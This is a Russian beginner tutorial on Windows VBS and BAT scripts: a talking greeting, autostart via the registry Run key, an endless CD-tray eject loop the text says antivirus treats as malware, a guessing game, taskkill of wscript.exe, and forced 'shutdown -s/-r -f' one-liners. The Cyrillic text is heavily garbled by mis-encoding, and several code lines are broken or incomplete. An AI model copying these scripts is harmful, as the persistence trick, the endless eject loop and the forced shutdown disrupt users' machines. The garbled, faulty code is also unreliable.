ΡΠ΄Π΅Π»Π°Π΅ΡΠ΅ ΠΌΠ΅Π½ΡΡΠ΅ Π² ΠΊΠΎΠ΄Π΅, Π½Ρ ΠΈΠ»ΠΈ Π±ΡΠ΄Π΅Ρ ΠΈΡ ΠΏΡΠΎΡΠ΅ Π½Π°ΠΉΡΠΈ, ΡΠ΅ΠΌ Π² ΡΠΎΠΌ ΠΆΠ΅ ΠΌΠ°Π»ΠΎ ΡΡΠ½ΠΊΡΠΈΠΎΠ½Π°Π»ΡΠ½ΠΎΠΌ ΠΠ»ΠΎΠΊΠ½ΠΎΡΠ΅ Windows.
ΠΠ»Ρ Π½Π°Π³Π»ΡΠ΄Π½ΠΎΡΡΠΈ ΠΏΡΠΈΠΌΠ΅Ρ (ΡΠ»Π΅Π²Π° — ΠΠ»ΠΎΠΊΠ½ΠΎΡ Windows, ΡΠΏΡΠ°Π²Π° — Notepad++):
ΠΡΠΈΡΡΡΠΏΠΈΠΌ
ΠΡΠ»ΠΈ Π²Ρ ΡΠΆΠ΅ Π·Π½Π°ΠΊΠΎΠΌΡ Ρ VBS ΡΠΊΡΠΈΠΏΡΠ°ΠΌΠΈ ΠΈ Π±Π°ΡΠ½ΠΈΠΊΠ°ΠΌΠΈ, ΡΠΎ ΡΠΊΠΎΡΠ΅Π΅ Π²ΡΠ΅Π³ΠΎ Π½ΠΈΠΆΠ΅ΡΠ»Π΅Π΄ΡΡΡΠΈΠ΅ ΠΏΡΠΈΠΌΠ΅ΡΡ Π²Π°ΠΌ Π±ΡΠ΄ΡΡ Π½Π΅ΠΈΠ½ΡΠ΅ΡΠ΅ΡΠ½Ρ, Π΅ΡΠ»ΠΈ ΠΆΠ΅ Π²Ρ Π½ΠΎΠ²ΠΈΡΠΎΠΊ, ΡΠΎ Π΄Π»Ρ ΠΏΠ΅ΡΠ²ΠΎΠ½Π°ΡΠ°Π»ΡΠ½ΠΎΠ³ΠΎ ΠΎΠ·Π½Π°ΠΊΠΎΠΌΠ»Π΅Π½ΠΈΡ — ΡΠΎ, ΡΡΠΎ Π½ΡΠΆΠ½ΠΎ.
ΠΠ°ΡΡΠΈΠΌ ΠΊΠΎΠΌΠΏΡΡΡΠ΅Ρ Π·Π΄ΠΎΡΠΎΠ²Π°ΡΡΡΡ
- ΠΡΠΊΡΡΠ²Π°Π΅ΠΌ ΠΠ»ΠΎΠΊΠ½ΠΎΡ (ΠΈΠ»ΠΈ Notepad Plus Plus).
- ΠΠΎΠΏΠΈΡΡΠ΅ΠΌ Π² Π²ΡΡΠ°Π²Π»ΡΠ΅ΠΌ ΠΊΠΎΠ΄:
Set sapi=CreateObject(«sapi.spvoice»)
- ΠΠ±ΡΠ·Π°ΡΠ΅Π»ΡΠ½ΠΎΠ΅ ΡΡΠ»ΠΎΠ²ΠΈΠ΅: ΠΊΠ°Π²ΡΡΠΊΠΈ Π΄ΠΎΠ»ΠΆΠ½Ρ Π±ΡΡΡ βΡΠ°ΠΊΠΈΠΌΠΈβ, Β«ΡΠ»ΠΎΡΠΊΠΈΒ» Π½Π΅ ΠΏΠΎΠ΄ΠΎΠΉΠ΄ΡΡ, ΡΠΊΡΠΈΠΏΡ Π½Π΅ Π±ΡΠ΄Π΅Ρ ΠΎΠ±ΡΠ°Π±Π°ΡΡΠ²Π°ΡΡΡΡ ΠΈ Π²ΡΠΉΠ΄Π΅Ρ ΠΎΡΠΈΠ±ΠΊΠ°. ΠΠΌΠ΅ΡΡΠΎ ΡΠ»ΠΎΠ²Π° «Hello» ΠΌΠΎΠΆΠ΅ΡΠ΅ Π½Π°ΠΏΠΈΡΠ°ΡΡ ΡΡΠΎ ΡΠ³ΠΎΠ΄Π½ΠΎ, Π΄Π°ΠΆΠ΅ ΠΏΠΎ ΡΡΡΡΠΊΠΈ, ΠΏΡΠΈ Π½Π°Π»ΠΈΡΠΈΠΈ ΡΡΡΡΠΊΠΎΠ³ΠΎ Π³ΠΎΠ»ΠΎΡΠΎΠ²ΠΎΠ³ΠΎ Π΄Π²ΠΈΠΆΠΊΠ°.
- ΠΠ°Π»ΡΡΠ΅ Π²ΡΠ±ΠΈΡΠ°Π΅ΠΌ Π€Π°ΠΉΠ» — Π‘ΠΎΡ ΡΠ°Π½ΠΈΡΡ ΠΊΠ°ΠΊ — Π’ΠΈΠΏ ΡΠ°ΠΉΠ»Π° — ΠΡΠ΅ ΡΠ°ΠΉΠ»Ρ — Π½Π°Π·Π²Π°Π½ΠΈΠ΅.vbs
- ΠΠ°Π·ΡΠ²Π°ΠΉΡΠ΅ ΡΠ°ΠΉΠ» ΠΊΠ°ΠΊ Ρ ΠΎΡΠΈΡΠ΅, Π½ΠΎ Π½Π΅ Π·Π°Π±ΡΠ΄ΡΡΠ΅ Π² ΠΊΠΎΠ½ΡΠ΅ ΠΏΡΠΎΠΏΠΈΡΠ°ΡΡ ΡΠ°ΡΡΠΈΡΠ΅Π½ΠΈΠ΅ — .vbs (ΠΏΡΠΈΠΌΠ΅Ρ — Privet.vbs).
- Π’Π΅ΠΏΠ΅ΡΡ ΠΏΡΠΎΠ±ΡΠΉΡΠ΅ ΠΏΡΠΎΠ²Π΅ΡΠΈΡΡ ΡΠ²ΠΎΠΉ ΡΠΊΡΠΈΠΏΡ — Π·Π°ΠΏΡΡΡΠΈΡΠ΅ ΡΠ°ΠΉΠ» Π΄Π²ΠΎΠΉΠ½ΡΠΌ ΡΠ΅Π»ΡΠΎΠΊ ΠΌΡΡΠΈ.
ΠΠ΄ΠΈΠ½ Π½ΡΠ°Π½Ρ: Π΅ΡΠ»ΠΈ Π²Ρ ΠΏΡΠΎΠΏΠΈΡΠ°Π»ΠΈ Π² ΠΊΠ°Π²ΡΡΠΊΠ°Ρ ΡΠ»ΠΎΠ²Π° ΡΡΡΡΠΊΠΈΠΌΠΈ Π±ΡΠΊΠ²Π°ΠΌΠΈ, Π° ΠΏΡΠΈ Π·Π°ΠΏΡΡΠΊΠ΅ ΠΏΡΠΎΠΈΠ·Π½ΠΎΡΠΈΡΡΡ Π½Π΅ΠΏΠΎΠ½ΡΡΠ½ΠΎ ΡΡΠΎ, ΡΠΎ Ρ Π²Π°Ρ ΠΏΡΠΎΡΡΠΎ Π½Π΅ ΡΡΡΠ°Π½ΠΎΠ²Π»Π΅Π½ ΡΡΡΡΠΊΠΈΠΉ Π³ΠΎΠ»ΠΎΡΠΎΠ²ΠΎΠΉ Π΄Π²ΠΈΠΆΠΎΠΊ. ΠΠΎΠ΄ΡΠΎΠ±Π½Π°Ρ ΡΡΡΠ°Π½ΠΎΠ²ΠΊΠ° ΠΈ Π½Π°ΡΡΡΠΎΠΉΠΊΠ° Π³ΠΎΠ»ΠΎΡΠΎΠ²ΠΎΠ³ΠΎ Π΄Π²ΠΈΠΆΠΊΠ° Π²ΡΡ ΠΎΠ΄ΠΈΡ Π·Π° ΡΠ°ΠΌΠΊΠΈ Π½Π°ΡΠ΅ΠΉ ΡΡΠ°ΡΡΠΈ, ΠΏΠΎΡΡΠΎΠΌΡ Π±ΠΎΠ»Π΅Π΅ ΠΏΠΎΠ΄ΡΠΎΠ±Π½ΠΎ ΠΎΠ·Π½Π°ΠΊΠΎΠΌΡΡΠ΅ΡΡ ΠΈ Π²Π½ΠΎΠ²Ρ Π²ΠΎΠ·Π²ΡΠ°ΡΠ°ΠΉΡΠ΅ΡΡ ΡΡΠ΄Π°.
Π’Π΅ΠΏΠ΅ΡΡ, ΡΠ΄Π΅Π»Π°Π΅ΠΌ ΡΠ»Π΅Π΄ΡΡΡΠ΅Π΅: ΠΏΡΠΎΠΏΠΈΡΠ΅ΠΌ Π΄Π°Π½Π½ΡΠΉ ΡΠΊΡΠΈΠΏΡ Π² Π°Π²ΡΠΎΠ·Π°Π³ΡΡΠ·ΠΊΡ, Π° ΡΡΠΎ ΠΎΠ·Π½Π°ΡΠ°Π΅Ρ ΡΠΎ, ΡΡΠΎ ΠΏΡΠΈ Π·Π°ΠΏΡΡΠΊΠ΅ ΠΊΠΎΠΌΠΏΡΡΡΠ΅ΡΠ° Π²Π°ΠΌ Π±ΡΠ΄Π΅Ρ ΠΏΡΠΎΠΈΠ·Π½Π΅ΡΠ΅Π½ΠΎ Π½Π°ΠΏΠΈΡΠ°Π½Π½ΠΎΠ΅ Π² ΠΏΡΠΎΠ³ΡΠ°ΠΌΠΌΠ΅ ΡΠ»ΠΎΠ²ΠΎ (ΡΠ»ΠΎΠ²Π°), Π΅ΡΠ»ΠΈ ΠΊΠ°ΠΊ Π² ΠΏΡΠΈΠΌΠ΅ΡΠ΅, ΡΠΎ Π±ΡΠ΄Π΅Ρ Π³ΠΎΠ²ΠΎΡΠΈΡΡ — «Hello» ΠΏΡΠΈ ΠΊΠ°ΠΆΠ΄ΠΎΠΌ Π²ΠΊΠ»ΡΡΠ΅Π½ΠΈΠΈ ΠΊΠΎΠΌΠΏΡΡΡΠ΅ΡΠ°. ΠΠ°ΠΊ ΡΡΠΎ ΡΠ΄Π΅Π»Π°ΡΡ?
ΠΡΠ΅ ΠΏΡΠΎΡΡΠΎ, ΠΏΡΠΎΠ³ΡΠ°ΠΌΠΌΡ (ΡΠΊΡΠΈΠΏΡ) Π΄ΠΎΠ±Π°Π²ΠΈΡΡ Π² Π°Π²ΡΠΎΠ·Π°Π³ΡΡΠ·ΠΊΡ ΠΌΠΎΠΆΠ½ΠΎ ΡΠ°ΠΊΠΈΠΌ ΠΆΠ΅ ΠΎΠ±ΡΠ°Π·ΠΎΠΌ, ΡΠΎ Π΅ΡΡΡ ΡΠ΅ΡΠ΅Π· ΡΠ°ΠΊΠΎΠΉ ΠΆΠ΅ VBS ΡΠΊΡΠΈΠΏΡ. Π‘ΠΎΠ·Π΄Π°Π΅ΠΌ ΡΠ°ΠΉΠ» Π² Π±Π»ΠΎΠΊΠ½ΠΎΡΠ΅, ΠΊΠΎΠΏΠΈΡΡΠ΅ΠΌ/Π²ΡΡΠ°Π²Π»ΡΠ΅ΠΌ (Ctrl+C/Ctrl+V) ΡΠ»Π΅Π΄ΡΡΡΠΈΠΉ ΠΊΠΎΠ΄:
Dim vOrg, objArgs, root, key, WshShell
root = «HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\»
KeyHP = «Program»
Set WshShell = WScript.CreateObject(«WScript.Shell»)
WshShell.RegWrite root+keyHP,»C:\Privet.vbs /autorun»
ΠΠ·ΠΌΠ΅Π½ΡΠ΅ΠΌ ΠΏΡΡΡ Π΄ΠΎ ΡΠΊΡΠΈΠΏΡΠ° «Π³ΠΎΠ²ΠΎΡΠΈΠ»ΠΊΠΈ», Π²ΠΎΡ ΡΡΡ ΡΡΡΠΎΡΠΊΡ — C:\Privet.vbs Π½Π° ΡΠ²ΠΎΡ. ΠΡΠΎΠΏΠΈΡΡΠ²Π°Π΅ΠΌ Π³Π΄Π΅ Ρ Π²Π°Ρ Π»Π΅ΠΆΠΈΡ ΡΡΠΎΡ ΡΠΊΡΠΈΠΏΡ ΠΈ ΠΊΠ°ΠΊ Π½Π°Π·ΡΠ²Π°Π΅ΡΡΡ. ΠΠ°Π»ΡΡΠ΅ ΡΠΎΡ
ΡΠ°Π½ΡΠ΅ΠΌ ΡΠΎΠ»ΡΠΊΠΎ ΡΡΠΎ ΡΠΎΠ·Π΄Π°Π½Π½ΡΡ ΠΌΠΈΠ½ΠΈ ΠΏΡΠΎΠ³ΡΠ°ΠΌΠΌΡ Π² Π±Π»ΠΎΠΊΠ½ΠΎΡΠ΅ ΠΈ Π·Π°ΠΏΡΡΠΊΠ°Π΅ΠΌ. ΠΡΠ΅, ΡΠ΅ΠΏΠ΅ΡΡ ΠΊΠΎΠΌΠΏΡΡΡΠ΅Ρ Π±ΡΠ΄Π΅Ρ Ρ Π²Π°ΠΌΠΈ Π·Π΄ΠΎΡΠΎΠ²Π°ΡΡΡΡ ΠΏΡ ΠΊΠ°ΠΆΠ΄ΠΎΠΌ Π²ΠΊΠ»ΡΡΠ΅Π½ΠΈΠΈ.
ΠΡΠΊΡΡΡΡ Π΄ΠΈΡΠΊΠΎΠ²ΠΎΠ΄
- ΠΡΠΊΡΡΡΡ Π±Π»ΠΎΠΊΠ½ΠΎΡ. Π‘ΠΊΠΎΠΏΠΈΡΠΎΠ²Π°ΡΡ/ΠΡΡΠ°Π²ΠΈΡΡ ΡΠ»Π΅Π΄ΡΡΡΠΈΠΉ ΠΊΠΎΠ΄:
Set a = CreateObject(«WMPlayer.OCX.7»)
Set b = a.CdromCollection
Set c = b.Item(0)
Set d = c.Eject - Π‘ΠΎΡ ΡΠ°Π½ΠΈΡΡ Ρ ΡΠ°ΡΡΠΈΡΠ΅Π½ΠΈΠ΅ΠΌ.vbs
- ΠΠ°ΠΏΡΡΡΠΈΡΡ ΡΠΊΡΠΈΠΏΡ ΠΈ ΠΎΡΠΊΡΠΎΠ΅ΡΡΡ Π΄ΠΈΡΠΊΠΎΠ²ΠΎΠ΄.
ΠΡΡΡ Π±ΠΎΠ»Π΅Π΅ ΠΈΠ½ΡΠ΅ΡΠ΅ΡΠ½Π°Ρ ΠΌΠΎΠ΄ΠΈΡΠΈΠΊΠ°ΡΠΈΡ Π΄Π°Π½Π½ΠΎΠ³ΠΎ ΡΠΊΡΠΈΠΏΡΠ°:
Set WMPlayer = CreateObject(«WMPlayer.OCX.7»)
do
WMPlayer.CdRomCollection.Item(0).Eject()
loop
Π Π΄Π°Π½Π½ΠΎΠΌ ΡΠ»ΡΡΠ°Π΅ Π±ΡΠ΄Π΅Ρ Π²ΡΠ΅ Π²ΡΠ΅ΠΌΡ ΠΎΡΠΊΡΡΠ²Π°ΡΡΡΡ-Π·Π°ΠΊΡΡΠ²Π°ΡΡΡΡ CD/DVD-ΠΏΡΠΈΠ²ΠΎΠ΄, Π½Π° Π½ΠΎΡΡΠ±ΡΠΊΠ°Ρ Π² ΡΡΠΎΠΌ ΡΠ»ΡΡΠ°Π΅ Π±ΡΠ΄Π΅Ρ ΠΎΡΠΊΡΡΠ²Π°ΡΡΡΡ ΠΏΠΎΡΠ»Π΅ ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ Π΅Π³ΠΎ Π·Π°ΠΊΡΡΡΠΈΡ.
ΠΠ½ΠΈΠΌΠ°Π½ΠΈΠ΅! ΠΡΠΎΡΠΎΠΉ ΠΊΠΎΠ΄ (ΠΎΡΠΊΡΡΡΠΈΠ΅-Π·Π°ΠΊΡΡΡΠΈΠ΅ Π΄ΠΈΡΠΊΠΎΠ²ΠΎΠ΄Π°), Π½Π΅ΠΊΠΎΡΠΎΡΡΠ΅ Π°Π½ΡΠΈΠ²ΠΈΡΡΡΡ Π²ΠΈΠ΄ΡΡ ΠΊΠ°ΠΊ Π²ΡΠ΅Π΄ΠΎΠ½ΠΎΡΠ½ΡΡ ΠΏΡΠΎΠ³ΡΠ°ΠΌΠΌΡ. ΠΠ½ΡΠΈΠ²ΠΈΡΡΡ ΠΠ°ΡΠΏΠ΅ΡΡΠΊΠΎΠ³ΠΎ (Π² Ρ.Ρ. ΠΈ ) Π΅Π³ΠΎ Π²ΠΈΠ΄ΠΈΡ ΠΈΠΌΠ΅Π½Π½ΠΎ ΡΠ°ΠΊ ΠΈ ΡΠ½ΠΈΡΡΠΎΠΆΠ°Π΅Ρ ΡΡΠ°Π·Ρ ΠΆΠ΅. Π ΠΏΠ΅ΡΠ²ΠΎΠΌ ΠΆΠ΅ ΡΠ»ΡΡΠ°Π΅ (ΠΏΡΠΎΡΡΠΎ ΠΎΡΠΊΡΡΡΠΈΠ΅ Π΄ΠΈΡΠΊΠΎΠ²ΠΎΠ΄Π°) Π΄Π»Ρ Π°Π½ΡΠΈΠ²ΠΈΡΡΡΠ½ΡΡ ΠΏΡΠΎΠ³ΡΠ°ΠΌΠΌ Π½Π΅ ΡΠ²Π»ΡΠ΅ΡΡΡ Π²ΡΠ΅Π΄ΠΎΠ½ΠΎΡΠ½ΡΠΌ ΡΠΊΡΠΈΠΏΡΠΎΠΌ.
Π§ΡΠΎΠ±Ρ ΠΏΡΠ΅ΠΊΡΠ°ΡΠΈΡΡ Π°Π²ΡΠΎΠΌΠ°ΡΠΈΡΠ΅ΡΠΊΠΈ ΠΎΡΠΊΡΡΠ²Π°ΡΡ-Π·Π°ΠΊΡΡΠ²Π°ΡΡ Π΄ΠΈΡΠΊΠΎΠ²ΠΎΠ΄ Π½Π΅ΠΎΠ±Ρ ΠΎΠ΄ΠΈΠΌΠΎ:
- ΠΠ°ΠΏΡΡΡΠΈΡΡ Π΄ΠΈΡΠΏΠ΅ΡΡΠ΅Ρ Π·Π°Π΄Π°Ρ ( — Ctrl+Alt+Del).
- ΠΠ΅ΡΠ΅ΠΉΡΠΈ Π½Π° Π²ΠΊΠ»Π°Π΄ΠΊΡ «ΠΡΠΎΡΠ΅ΡΡΡ».
- ΠΠ°ΠΉΡΠΈ ΠΏΡΠΎΡΠ΅ΡΡ wscript.exe — ΠΏΡΠ°Π²Π°Ρ ΠΊΠ½ΠΎΠΏΠΊΠ° ΠΌΡΡΠΈ — Π·Π°Π²Π΅ΡΡΠΈΡΡ ΠΏΡΠΎΡΠ΅ΡΡ.
ΠΠ³ΡΠ°
ΠΠ½ΡΠ΅ΡΠ΅ΡΠ½Π°Ρ Π½Π°Ρ ΠΎΠ΄ΠΊΠ° ΠΈΠ· Π‘Π΅ΡΠΈ — ΠΈΠ³ΡΠ° Π½Π° VBS. ΠΠ΅ΠΎΠ±Ρ ΠΎΠ΄ΠΈΠΌΠΎ ΡΠ³Π°Π΄Π°ΡΡ ΡΠΈΡΠ»ΠΎ ΠΎΡ 0 Π΄ΠΎ 100. Π‘ΠΊΡΠΈΠΏΡ Π°Π²ΡΠΎΠΌΠ°ΡΠΈΡΠ΅ΡΠΊΠΈ ΠΏΡΠΈ Π·Π°ΠΏΡΡΠΊΠ΅ Π·Π°Π΄Π°Π΅Ρ (ΡΠ°Π·Π³Π°Π΄ΡΠ²Π°Π΅Ρ) ΡΠΈΡΠ»ΠΎ, ΠΊΠΎΡΠΎΡΠΎΠ΅ Π²Π°ΠΌ Π½Π΅ΠΎΠ±Ρ ΠΎΠ΄ΠΈΠΌΠΎ ΡΠ³Π°Π΄Π°ΡΡ ΠΈ Π²Π²Π΅ΡΡΠΈ Π² ΡΠΏΠ΅ΡΠΈΠ°Π»ΡΠ½ΠΎΠΌ ΠΎΠΊΠΎΡΠΊΠ΅, ΠΏΡΠΈ Π½Π΅ΠΏΡΠ°Π²ΠΈΠ»ΡΠ½ΠΎΠΌ ΠΎΡΠ²Π΅ΡΠ΅ Π΄Π°ΡΡΡΡ ΠΏΠΎΠ΄ΡΠΊΠ°Π·ΠΊΠΈ, Π½Π°ΠΏΡΠΈΠΌΠ΅Ρ ΠΌΠ΅Π½ΡΡΠ΅ ΠΈΠ»ΠΈ Π±ΠΎΠ»ΡΡΠ΅.
ΠΠΈΠΆΠ΅ ΡΠΎΡ ΡΠ°ΠΌΡΠΉ ΠΊΠΎΠ΄ ΠΊΠΎΡΠΎΡΡΠΉ Π½Π΅ΠΎΠ±Ρ ΠΎΠ΄ΠΈΠΌΠΎ ΡΠΊΠΎΠΏΠΈΡΠΎΠ²Π°ΡΡ ΠΈ Π²ΡΡΠ°Π²ΠΈΡΡ Π² Π±Π»ΠΎΠΊΠ½ΠΎΡ, Π΄Π°Π»Π΅Π΅ ΡΠΎΡ ΡΠ°Π½ΠΈΡΡ (ΡΠ°ΡΡΠΈΡΠ΅Π½ΠΈΠ΅.vbs).
ΠΡ ΡΠ°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ΅ΡΠ΅ ΠΈΠ·ΠΌΠ΅Π½ΡΡΡ ΡΠΎΠΎΠ±ΡΠ΅Π½ΠΈΡ ΠΏΠΎ ΡΠ²ΠΎΠ΅ΠΌΡ, Π²ΡΠ΅ ΡΡΠΎ Π½Π°ΠΏΠΈΡΠ°Π½ΠΎ ΠΊΠΈΡΠΈΠ»Π»ΠΈΡΠ΅ΠΉ Π±Π΅Π· ΠΏΡΠΎΠ±Π»Π΅ΠΌ ΡΠ΅Π΄Π°ΠΊΡΠΈΡΡΠ΅ΡΡΡ. ΠΠ΅ Π±ΠΎΠΉΡΠ΅ΡΡ ΡΠ»ΠΎΠΌΠ°ΡΡ ΠΊΠΎΠ΄. ΠΠΎΡΠΊΡΠΏΠ΅ΡΠΈΠΌΠ΅Π½ΡΠΈΡΡΠΉΡΠ΅. Π ΡΠ»ΡΡΠ°Π΅ ΡΠ΅Π³ΠΎ Π·Π°Π½ΠΎΠ²ΠΎ ΡΠΊΠΎΠΏΠΈΡΡΠΉΡΠ΅ ΡΠ°Π±ΠΎΡΠΈΠΉ ΠΊΠΎΠ΄ ΠΎΡΡΡΠ΄Π°.
Set y = CreateObject(«Scripting.FileSystemObject»)
Set y = Nothing
Do
a = 0
u = 0
Randomize
Number = Int((RND*99)+1)
MsgBox «Π― Π·Π°Π³Π°Π΄Π°Π» ΡΠΈΡΠ»ΠΎ ΠΎΡ 1 Π΄ΠΎ 100, ΠΏΠΎΠΏΡΠΎΠ±ΡΠΉ ΠΎΡΠ³Π°Π΄Π°ΡΡ»,64,»Π£Π³Π°Π΄Π°ΠΉΠΊΠ°»
Do
a = a + 1
c = InputBox(«Π£Π³Π°Π΄Π°ΠΉ ΡΠΈΡΠ»ΠΎ» & vbCrLf & vbCrLf & «ΠΠΎΠΏΡΡΠΊΠ°: » & a & vbCrLf & vbCrLf & «Π§ΡΠΎΠ±Ρ ΠΏΠΎΡΠΌΠΎΡΡΠ΅ΡΡ ΡΠ΅Π·ΡΠ»ΡΡΠ°ΡΡ Π²Π²Π΅Π΄ΠΈΡΠ΅ ΡΠΈΡΠ»ΠΎ!» & vbCrLf & vbCrLf & «ΠΠ»Ρ Π²ΡΡ
ΠΎΠ΄Π° ΠΎΡΡΠ°Π²ΡΡΠ΅ ΠΏΠΎΠ»Π΅ ΠΏΡΡΡΡΠΌ» & vbCrLf & vbCrLf,»Π£Π³Π°Π΄Π°ΠΉΠΊΠ°»)
If c = «!» Then CreateObject(«WScript. Shell»).Run «notepad C:\Windows\Result.dll»,3,True: Exit Do
If c «» Then
If IsNumeric(c) = True Then
If CInt(c)
If CInt(c) > Number Then MsgBox «ΠΠ΅Ρ,ΡΡΠΎ Π½Π΅ » & c & «. Π― Π·Π°Π³Π°Π΄Π°Π» ΡΠΈΡΠ»ΠΎ ΠΌΠ΅Π½ΡΡΠ΅»,64,»Π£Π³Π°Π΄Π°ΠΉΠΊΠ°»
If CInt(c) = Number Then
Set y = CreateObject(«Scripting.FileSystemObject»)
MsgBox («ΠΠΎΠ»ΠΈΡΠ΅ΡΡΠ²ΠΎ ΠΏΠΎΠΏΡΡΠΎΠΊ: » & a)
If MsgBox («ΠΡΠ°Π²ΠΈΠ»ΡΠ½ΠΎ, ΡΡΠΎ Π±ΡΠ»ΠΎ ΡΠΈΡΠ»ΠΎ » & c & «. ΠΠ°ΡΠ°ΡΡ Π·Π°Π½ΠΎΠ³ΠΎ?»,36,»Π£Π³Π°Π΄Π°ΠΉΠΊΠ°») = 6 Then Exit Do Else WScript.Quit
End If
Else
MsgBox «ΠΡΠΎ Π½Π΅ ΡΠΈΡΠ»ΠΎ!»,16,»Π£Π³Π°Π΄Π°ΠΉΠΊΠ°»
a = a — 1
End If
Else
a = a — 1
l = MsgBox («Π’Ρ Π½ΠΈΡΠ΅Π³ΠΎ Π½Π΅ Π²Π²Π΅Π». ΠΡΠΉΡΠΈ ΠΈΠ· ΠΏΡΠΎΠ³ΡΠ°ΠΌΠΌΡ?»,36,»Π£Π³Π°Π΄Π°ΠΉΠΊΠ°»)
If l = 6 Then WScript.Quit
End If
Loop
loop
ΠΡ ΠΈ ΠΏΠ΅ΡΠ΅Π΄ ΡΠ΅ΠΌ ΠΊΠ°ΠΊ ΠΏΠ΅ΡΠ΅Ρ ΠΎΠ΄ΠΈΡΡ ΠΊ Π±Π°ΡΠ½ΠΈΠΊΠ°ΠΌ (.BAT) Π²ΠΎΡΠΏΠΎΠ»ΡΠ·ΡΠ΅ΠΌΡΡ ΡΠ°ΠΌΡΠΌ ΠΏΠΎΠ»Π΅Π·Π½ΡΠΌ VBS ΡΠΊΡΠΈΠΏΡΠΎΠΌ ΠΈΠ· Π²ΡΠ΅Ρ ΠΏΠ΅ΡΠ΅ΡΠΈΡΠ»Π΅Π½Π½ΡΡ Π² ΡΡΠΎΠΉ ΡΡΠ°ΡΡΠ΅.
Π‘ΠΊΡΠΈΠΏΡ Π·Π°ΠΊΡΡΠ²Π°ΡΡΠΈΠΉ wscript.exe
Π‘Π°ΠΌ ΡΠΊΡΠΈΠΏΡ:
Set TaskKill = CreateObject(«WScript.Shell»)
TaskKill.Run «TaskKill /f /im wscript. exe»
ΠΠΎ ΡΡΡΠΈ ΠΎΠ½ Π΄Π΅Π»Π°Π΅Ρ ΡΠΎΠΆΠ΅ ΡΠ°ΠΌΠΎΠ΅, ΡΡΠΎ ΡΡΡΡ Π²ΡΡΠ΅ ΠΎΠ±ΡΡΡΠ½ΡΠ»ΠΎΡΡ Π² Π΄ΠΈΡΠΏΠ΅ΡΡΠ΅ΡΠ΅ Π·Π°Π΄Π°Ρ, ΠΊΠ°ΠΊ Π½Π°ΠΏΡΠΈΠΌΠ΅Ρ Π½Π΅Π»ΡΠ·Ρ ΠΏΡΠΎΡΡΠΎ Π²Π·ΡΡΡ ΠΈ Π·Π°ΠΊΡΡΡΡ Π½Π°Π΄ΠΎΠ΅Π΄Π»ΠΈΠ²ΡΠΉ ΡΠΊΡΠΈΠΏΡ ΠΎΡΠΊΡΡΠ²Π°ΡΡΠΈΠΉ-Π·Π°ΠΊΡΡΠ²Π°ΡΡΠΈΠΉ Π΄ΠΈΡΠΊΠΎΠ²ΠΎΠ΄, Π° Π·Π°ΠΏΡΡΡΠΈΠ² Π΄Π°Π½Π½ΡΠΉ ΡΠΊΡΠΈΠΏΡ Π²ΡΠ΅ Π·Π°ΠΏΡΡΠ΅Π½Π½ΡΠ΅ Π±ΡΠ΄ΡΡ Π·Π°ΠΊΡΡΡΡ. ΠΡΠΎ ΠΊΠ°ΠΊ ΠΊΠ»ΠΈΠ½ ΠΊΠ»ΠΈΠ½ΠΎΠΌ Π²ΡΡΠΈΠ±Π°ΡΡ.
ΠΠ΅ΠΌΠ½ΠΎΠ³ΠΎ ΠΏΠΎΠ·Π½Π°ΠΊΠΎΠΌΠΈΠ»ΠΈΡΡ Ρ VBS ΡΠΊΡΠΈΠΏΡΠ°ΠΌΠΈ ΠΈ ΠΎ ΡΠΎΠΌ ΠΊΠ°ΠΊ ΠΈΡ ΠΏΠΈΡΠ°ΡΡ Π² Π±Π»ΠΎΠΊΠ½ΠΎΡΠ΅, ΡΠ΅ΠΏΠ΅ΡΡ ΡΠ°ΡΡΠΌΠΎΡΡΠΈΠΌ Π½Π΅ΡΠΊΠΎΠ»ΡΠΊΠΎ ΠΏΡΠΈΠΌΠ΅ΡΠΎΠ² ΠΈΡΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°Π½ΠΈΡ BAT ΡΠ°ΠΉΠ»ΠΎΠ² (Π΄Π°Π»Π΅Π΅ — Π±Π°ΡΠ½ΠΈΠΊ).
Π‘ΠΎΠ²ΡΠ΅ΠΌ ΠΏΡΠΎΡΡΠΎΠΉ Π±Π°ΡΠ½ΠΈΠΊ ΡΠΎΡΡΠΎΡΡΠΈΠΉ Π²ΡΠ΅Π³ΠΎ ΠΈΠ· ΠΎΠ΄Π½ΠΎΠΉ ΡΡΡΠΎΠΊΠΈ.
- ΠΡΠΊΡΡΠ²Π°Π΅ΠΌ ΠΠ»ΠΎΠΊΠ½ΠΎΡ.
- ΠΠΈΡΠ΅ΠΌ ΡΠ»Π΅Π΄ΡΡΡΠΈΠΉ ΠΊΠΎΠ΄:
shutdown -s -t 1 -c -f
- ΠΠ°Π»Π΅Π΅ Π€Π°ΠΉΠ» — Π‘ΠΎΡ ΡΠ°Π½ΠΈΡΡ ΠΊΠ°ΠΊ — Π½Π·Π²Π°Π½ΠΈΠ΅.bat
- ΠΠ±ΡΠ°ΡΠΈΡΠ΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅ Π½Π° ΡΠ°ΡΡΠΈΡΠ΅Π½ΠΈΠ΅ ΡΠ°ΠΉΠ»Π°, ΡΡΠΎ ΡΠΆΠ΅ Π½Π΅ VBS ΡΠΊΡΠΈΠΏΡ, Π° Π±Π°ΡΠ½ΠΈΠΊ, ΠΏΠΎ ΡΡΠΎΠΌΡ Π² ΠΊΠΎΠ½ΡΠ΅ Π½Π°Π·Π²Π°Π½ΠΈΡ ΠΏΡΠΎΠΏΠΈΡΡΠ²Π°Π΅ΠΌ.bat (ΠΡΠΈΠΌΠ΅Ρ compoff.bat).
- ΠΠ°ΠΏΡΡΠΊΠ°Π΅ΠΌ ΡΠΎΠ»ΡΠΊΠΎ ΡΡΠΎ ΡΠΎΠ·Π΄Π°Π½Π½ΡΠΉ Π±Π°ΡΠ½ΠΈΠΊ Π΄Π²ΠΎΠΉΠ½ΡΠΌ ΡΠ΅Π»ΡΠΊΠΎΠΌ ΠΌΡΡΠΈ ΠΈ ΠΊΠΎΠΌΠΏΡΡΡΠ΅Ρ Π²ΡΠΊΠ»ΡΡΠΈΡΡΡ (ΠΠ°Π²Π΅ΡΡΠ΅Π½ΠΈΠ΅ ΡΠ°Π±ΠΎΡΡ).
ΠΡΡΡ ΡΠ°ΠΊΠΎΠΉ Π²Π°ΡΠΈΠ°Π½Ρ ΠΊΠΎΠ΄Π°:
shutdown -r -t 1 -c -f
